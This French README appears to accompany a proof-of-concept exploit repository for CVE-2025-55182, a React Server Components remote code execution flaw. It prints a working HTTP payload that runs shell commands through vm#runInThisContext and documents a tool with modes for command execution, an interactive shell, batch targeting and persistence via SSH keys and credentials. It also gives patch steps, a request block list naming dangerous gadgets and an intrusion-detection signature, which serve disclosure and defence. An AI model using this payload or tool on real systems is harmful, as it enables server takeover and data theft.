
Outil de recherche en sécurité unifié
Recherche en sécurité par schema.cx
« Le contrôle est une illusion. Ce sont les systèmes que nous construisons qui nous contrôlent — à moins que nous les comprenions d'abord. »
CET OUTIL EST DESTINÉ UNIQUEMENT AUX TESTS DE SÉCURITÉ AUTORISÉS
ARRÊTEZ. LISEZ CECI AVANT DE CONTINUER.
Ce dépôt contient un code de preuve de concept pour une vulnérabilité de sécurité critique. En accédant, téléchargeant ou utilisant tout élément de ce dépôt, vous reconnaissez et acceptez ce qui suit :
Autorisation écrite requise : Vous DEVEZ avoir une autorisation explicite et écrite du propriétaire du système avant d'effectuer tout test de sécurité. Les accords verbaux ne suffisent pas.
Limites de périmètre : Les tests doivent être confinés aux systèmes explicitement listés dans votre autorisation. L'« extension de périmètre » n'est pas autorisée.
Lois applicables : L'accès non autorisé à des systèmes informatiques viole :
LES AUTEURS ET CONTRIBUTEURS DE CE DÉPÔT :
« La question n'est pas de savoir si nous pouvons exploiter la vulnérabilité. C'est de savoir si nous devrions le faire, et dans quel but. »
CVE-2025-55182 est une vulnérabilité critique d'exécution de code à distance (RCE) sans authentification affectant les composants serveur React dans les applications React 19.x et Next.js 15.x-16.x.
Cette vulnérabilité permet à tout attaquant non authentifié ayant un accès réseau à une application vulnérable d'exécuter des commandes arbitraires sur le serveur. L'attaque ne nécessite ni identifiants, ni interaction utilisateur, et peut être entièrement automatisée. Une exploitation réussie conduit à :
« Les gens font confiance aux systèmes parce qu'ils ne les comprennent pas. Cette confiance est une vulnérabilité. »
La vulnérabilité existe dans l'implémentation du protocole Flight de React au sein de la fonction requireModule. Cette fonction utilise la notation par crochets pour accéder aux exportations d'un module en fonction d'une entrée contrôlée par l'utilisateur, sans vérifier que la propriété demandée est une propriété propre du module.
Emplacement du code vulnérable :
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Fonction : requireModule (environ lignes 2546-2558 dans v19.0.0)
Motif vulnérable :
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... gestion asynchrone ...
return moduleExports[metadata[2]]; // ← VULNÉRABLE : Absence de vérification hasOwnProperty
}
L'attaque exploite le parcours de la chaîne de prototypes de JavaScript :
$ACTION_0:0 contient du JSON avec les propriétés id (format module#export) et bound (arguments) contrôlées par l'attaquantconstructor ou en accédant aux propriétés du prototype, les attaquants peuvent référencer des modules Node.js intégrésvm.runInThisContext, child_process.execSync ou fs.readFileSync s'exécutent avec des arguments fournis par l'attaquantHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Parses "module#export" format
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Prototype chain access → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
« Tout système a une porte. La question est de savoir si vous avez construit la serrure vous-même — ou si vous l'avez héritée de quelqu'un qui n'attendait jamais de visiteurs. »
| Produit | Versions vulnérables | Versions corrigées |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (utilisant React vulnérable) | Versions avec React corrigé |
vm, child_process ou fs doivent être dans le bundle webpackCe dépôt inclut un scanner de sécurité complet basé sur Python avec plusieurs modes de fonctionnement.
CVE-2025-55182-poc/
├── README.md # Ce fichier
├── scanner/
│ ├── __init__.py # Initialisation du package Python
│ ├── scanner.py # Scanner unifié principal (6 modes)
│ ├── readme.md # Documentation détaillée du scanner
│ ├── requirements.txt # Dépendances Python
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # Analyse approfondie de la vulnérabilité
│ └── VULNERABLE-PACKAGES.md # Versions des packages affectés
Installation :
cd scanner
pip install -r requirements.txt
Scan de vulnérabilité :
# Vérifier si la cible est vulnérable
python scanner.py scan https://target.com
Détection de gadgets :
# Identifier les gadgets RCE disponibles
python scanner.py exploit https://target.com --detect-gadgets
Exécution de commande (avec autorisation) :
# Exécuter une commande sur la cible vulnérable
python scanner.py exploit https://target.com -c "whoami"
Tests par lots :
# Tester plusieurs cibles à partir d'un fichier
python scanner.py batch -f targets.txt -o results.json
Scan automatisé avec vérification :
# Scan complet avec vérification de l'exploit
python scanner.py auto -f targets.txt -o report.txt
Cible vulnérable :
[+] VULNÉRABLE à CVE-2025-55182 !
Framework : Next.js
Version : 15.1.0
Confiance : ÉLEVÉE
Gadgets disponibles :
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
Cible corrigée :
[-] Non vulnérable ou impossible à déterminer
Framework détecté : Next.js
Version : 15.2.0 (corrigée)
Pour une documentation complète, voir scanner/readme.md.
« Un outil n'est aussi dangereux que l'intention derrière lui. Entre de bonnes mains, une arme devient un bouclier. »
/etc/passwd, clés SSH, identifiants cloud.env contenant les identifiants de base de données, exfiltre les données clientsMettre à jour React immédiatement
npm update react react-dom react-server-dom-webpack
Versions cibles : 19.0.1+, 19.1.2+ ou 19.2.1+
Vérifier l'application du correctif
npm ls react
Assurez-vous qu'aucune version vulnérable ne reste dans votre arbre de dépendances
Bloquer les requêtes contenant ces motifs :
# Motifs de corps de requête à bloquer
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
Exclure les packages dangereux du bundling webpack :
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
Motifs de logs à surveiller :
$ACTION_REF_ ou $ACTION_ID_ inhabituels dans les corps de requêtes/api/* avec des données multipart contenant du JSONconstructor, prototype ou à un accès inattendu à un moduleSignatures de détection d'intrusion :
alert http any any -> $HOME_NET any (
msg:"Tentative d'exploitation CVE-2025-55182";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk ou outils similaires« Corriger ne consiste pas seulement à réparer ce qui est cassé. C'est fermer les portes dont vous ignoriez l'existence. »
Cette divulgation suit les directives de divulgation de vulnérabilité coordonnée CERT/CC et les normes ISO/IEC 29147:2018.
Cette preuve de concept a été développée par l'équipe de recherche en sécurité de schema.cx.
Dépôt : https://github.com/ejpir/CVE-2025-55182-poc
Nous tenons à remercier :
Ce projet est publié uniquement à des fins éducatives et de recherche en sécurité autorisée.
En utilisant ce logiciel, vous acceptez de :
« Nous ne piratons pas pour détruire. Nous piratons pour comprendre. Et comprendre est la première étape pour construire quelque chose de meilleur. »
schema.cx — Recherche en sécurité pour un monde numérique plus sûr
| Métrique | Évaluation |
|---|
| Score de base CVSS v3.1 | 10.0 CRITIQUE |
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Impact (C/I/D) | Élevé / Élevé / Élevé |
| Gadget | Module | Description | Impact |
|---|
vm#runInThisContext | vm | Exécute JS dans le contexte actuel | RCE directe |
vm#runInNewContext | vm | Exécute JS dans un bac à sable (contournable) | RCE directe |
child_process#execSync | child_process | Exécute des commandes shell | RCE directe |
child_process#spawnSync | child_process | Lance des processus | RCE directe |
fs#readFileSync | fs | Lit des fichiers arbitraires | Exfiltration de données |
fs#writeFileSync | fs | Écrit des fichiers arbitraires | Persistance/porte dérobée |
module#_load | module | Charge des modules JS (RCE en deux étapes) | RCE indirecte |
| Module | Probabilité dans le bundle | Sources courantes |
|---|
fs | Très élevée | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | Moyenne-élevée | execa, shelljs, puppeteer, sharp, générateurs PDF |
vm | Faible-moyenne | ejs, pug, moteurs de templates |
module | Très faible | tsx, ts-node (généralement en CLI uniquement) |
| Mode | Objectif |
|---|
scan | Détection de vulnérabilité et empreinte |
exploit | Exploitation contrôlée avec des gadgets spécifiques |
shell | Shell de commande interactif sur les cibles vulnérables |
batch | Tester plusieurs URL avec statistiques |
auto | Scan automatisé multi-cibles avec vérification |
persist | Démonstrations d'attaques de persistance (clés SSH, identifiants) |
| Date | Événement |
|---|
| Découverte | Informations en attente |
| Notification au fournisseur | Informations en attente |
| Accusé de réception du fournisseur | Informations en attente |
| Développement du correctif | Informations en attente |
| Publication du correctif | React 19.0.1, 19.1.2, 19.2.1 |
| Divulgation publique | Informations en attente |
| Attribution CVE | CVE-2025-55182 |